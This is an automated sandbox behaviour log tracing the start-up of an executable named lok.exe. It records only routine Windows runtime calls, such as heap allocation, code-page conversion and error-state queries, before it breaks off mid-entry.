# Flog Txt Version 1 # Analyzer Version: 3.2.2 # Analyzer Build Date: May 6 2020 08:26:37 # Log Creation Date: 11.05.2020 11:19:54.512 Process: id = "1" image_name = "lok.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\lok.exe" page_root = "0x49095000" os_pid = "0xab8" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "analysis_target" parent_id = "0" os_parent_pid = "0x454" cmd_line = "\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\lok.exe\" " cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 1 os_tid = 0xb0c [0047.767] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ff7c | out: lpSystemTimeAsFileTime=0x18ff7c*(dwLowDateTime=0x324fa670, dwHighDateTime=0x1d62786)) [0047.767] GetCurrentProcessId () returned 0xab8 [0047.767] GetCurrentThreadId () returned 0xb0c [0047.767] GetTickCount () returned 0x1147465 [0047.767] QueryPerformanceCounter (in: lpPerformanceCount=0x18ff74 | out: lpPerformanceCount=0x18ff74*=16785943139) returned 1 [0047.986] GetStartupInfoW (in: lpStartupInfo=0x18ff20 | out: lpStartupInfo=0x18ff20*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\lok.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x18ff84, hStdError=0x403106)) [0047.986] HeapCreate (flOptions=0x0, dwInitialSize=0x1000, dwMaximumSize=0x0) returned 0x230000 [0047.987] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76d30000 [0047.987] GetProcAddress (hModule=0x76d30000, lpProcName="FlsAlloc") returned 0x76d44f2b [0047.987] GetProcAddress (hModule=0x76d30000, lpProcName="FlsGetValue") returned 0x76d41252 [0047.987] GetProcAddress (hModule=0x76d30000, lpProcName="FlsSetValue") returned 0x76d44208 [0047.987] GetProcAddress (hModule=0x76d30000, lpProcName="FlsFree") returned 0x76d4359f [0047.987] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76d30000 [0047.987] GetProcAddress (hModule=0x76d30000, lpProcName="EncodePointer") returned 0x77c80fcb [0047.988] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76d30000 [0047.988] GetProcAddress (hModule=0x76d30000, lpProcName="EncodePointer") returned 0x77c80fcb [0047.988] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76d30000 [0047.988] GetProcAddress (hModule=0x76d30000, lpProcName="EncodePointer") returned 0x77c80fcb [0047.988] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76d30000 [0047.988] GetProcAddress (hModule=0x76d30000, lpProcName="EncodePointer") returned 0x77c80fcb [0047.988] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76d30000 [0047.988] GetProcAddress (hModule=0x76d30000, lpProcName="EncodePointer") returned 0x77c80fcb [0047.989] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76d30000 [0047.990] GetProcAddress (hModule=0x76d30000, lpProcName="EncodePointer") returned 0x77c80fcb [0047.990] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76d30000 [0047.990] GetProcAddress (hModule=0x76d30000, lpProcName="EncodePointer") returned 0x77c80fcb [0047.990] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76d30000 [0047.990] GetProcAddress (hModule=0x76d30000, lpProcName="DecodePointer") returned 0x77c79d35 [0047.990] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x214) returned 0x2307d0 [0047.991] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76d30000 [0047.991] GetProcAddress (hModule=0x76d30000, lpProcName="DecodePointer") returned 0x77c79d35 [0047.991] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76d30000 [0047.991] GetProcAddress (hModule=0x76d30000, lpProcName="EncodePointer") returned 0x77c80fcb [0047.991] GetProcAddress (hModule=0x76d30000, lpProcName="DecodePointer") returned 0x77c79d35 [0047.991] GetCurrentThreadId () returned 0xb0c [0047.991] GetStartupInfoA (in: lpStartupInfo=0x18fea4 | out: lpStartupInfo=0x18fea4*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\lok.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xffffffff, hStdOutput=0xffffffff, hStdError=0xffffffff)) [0047.991] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x800) returned 0x2309f0 [0047.991] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0047.992] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0047.992] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0047.992] SetHandleCount (uNumber=0x20) returned 0x20 [0047.992] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\lok.exe\" " [0047.992] GetEnvironmentStringsW () returned 0x9a0198* [0047.992] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0xaca) returned 0x2311f8 [0047.992] FreeEnvironmentStringsW (penv=0x9a0198) returned 1 [0047.992] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x424a58, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\lok.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\lok.exe")) returned 0x2d [0047.992] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x64) returned 0x231cd0 [0047.992] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x98) returned 0x231d40 [0047.992] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3e) returned 0x231de0 [0047.992] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x6c) returned 0x231e28 [0047.992] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x6e) returned 0x231ea0 [0047.992] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x78) returned 0x231f18 [0047.992] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x62) returned 0x231f98 [0047.992] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x2e) returned 0x232008 [0047.992] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x48) returned 0x232040 [0047.992] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x28) returned 0x232090 [0047.992] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x1a) returned 0x2320c0 [0047.992] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x4a) returned 0x2320e8 [0047.992] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x72) returned 0x232140 [0047.992] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x30) returned 0x2321c0 [0047.992] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x2e) returned 0x2321f8 [0047.992] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x1c) returned 0x232230 [0047.992] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0xd2) returned 0x232258 [0047.992] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x7c) returned 0x232338 [0047.993] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x36) returned 0x2323c0 [0047.993] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3a) returned 0x232400 [0047.993] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x90) returned 0x232448 [0047.993] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x24) returned 0x2324e0 [0047.993] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x30) returned 0x232510 [0047.993] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x36) returned 0x232548 [0047.993] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x48) returned 0x232588 [0047.993] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x52) returned 0x2325d8 [0047.993] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c) returned 0x232638 [0047.993] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x82) returned 0x232680 [0047.993] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x2e) returned 0x232710 [0047.993] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x1e) returned 0x232748 [0047.993] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x2c) returned 0x232770 [0047.993] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x54) returned 0x2327a8 [0047.993] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x52) returned 0x232808 [0047.993] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x2a) returned 0x232868 [0047.993] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c) returned 0x2328a0 [0047.993] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x54) returned 0x2328e8 [0047.993] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x24) returned 0x232948 [0047.993] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x30) returned 0x232978 [0047.993] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x8c) returned 0x2329b0 [0047.993] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2311f8 | out: hHeap=0x230000) returned 1 [0047.994] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x80) returned 0x232a48 [0047.994] GetLastError () returned 0x0 [0047.994] SetLastError (dwErrCode=0x0) [0047.994] GetLastError () returned 0x0 [0047.995] SetLastError (dwErrCode=0x0) [0047.995] GetLastError () returned 0x0 [0047.995] SetLastError (dwErrCode=0x0) [0047.995] GetACP () returned 0x4e4 [0047.995] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x220) returned 0x232ad0 [0047.995] GetLastError () returned 0x0 [0047.995] SetLastError (dwErrCode=0x0) [0047.995] IsValidCodePage (CodePage=0x4e4) returned 1 [0047.995] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0047.996] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f950 | out: lpCPInfo=0x18f950) returned 1 [0047.996] GetLastError () returned 0x0 [0047.996] SetLastError (dwErrCode=0x0) [0047.996] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr="", cchSrc=1, lpCharType=0x18f8e0 | out: lpCharType=0x18f8e0) returned 1 [0047.996] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0047.996] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x18f6c8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0047.996] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x18f964 | out: lpCharType=0x18f964) returned 1 [0047.996] GetLastError () returned 0x0 [0047.996] SetLastError (dwErrCode=0x0) [0047.996] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr="", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0047.996] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0047.996] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x18f698, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ糨퉤娊@Ā") returned 256 [0047.996] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ糨퉤娊@Ā", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0047.996] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ糨퉤娊@Ā", cchSrc=256, lpDestStr=0x18f488, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0047.996] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchWideChar=256, lpMultiByteStr=0x18fc64, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ/ \x10Ú\x9cþ\x18", lpUsedDefaultChar=0x0) returned 256 [0047.996] GetLastError () returned 0x0 [0047.996] SetLastError (dwErrCode=0x0) [0047.996] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0047.996] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x18f6b8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ糨퉤娊@Ā") returned 256 [0047.996] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ糨퉤娊@Ā", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0047.997] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ糨퉤娊@Ā", cchSrc=256, lpDestStr=0x18f4a8, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸĀ") returned 256 [0047.997] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸĀ", cchWideChar=256, lpMultiByteStr=0x18fb64, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9f \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ/ \x10Ú\x9cþ\x18", lpUsedDefaultChar=0x0) returned 256 [0047.997] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x402a4d) returned 0x0 [0047.998] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x232a48) returned 0x80 [0047.998] lstrlenW (lpString="") returned 0 [0047.998] GetLastError () returned 0x0 [0047.998] GetLastError () returned 0x0 [0047.998] GetLastError () returned 0x0 [0047.998] GetLastError () returned 0x0 [0047.998] GetLastError () returned 0x0 [0047.999] GetLastError () returned 0x0 [0047.999] GetLastError () returned 0x0 [0047.999] GetLastError () returned 0x0 [0047.999] GetLastError () returned 0x0 [0047.999] GetLastError () returned 0x0 [0047.999] GetLastError () returned 0x0 [0047.999] GetLastError () returned 0x0 [0047.999] 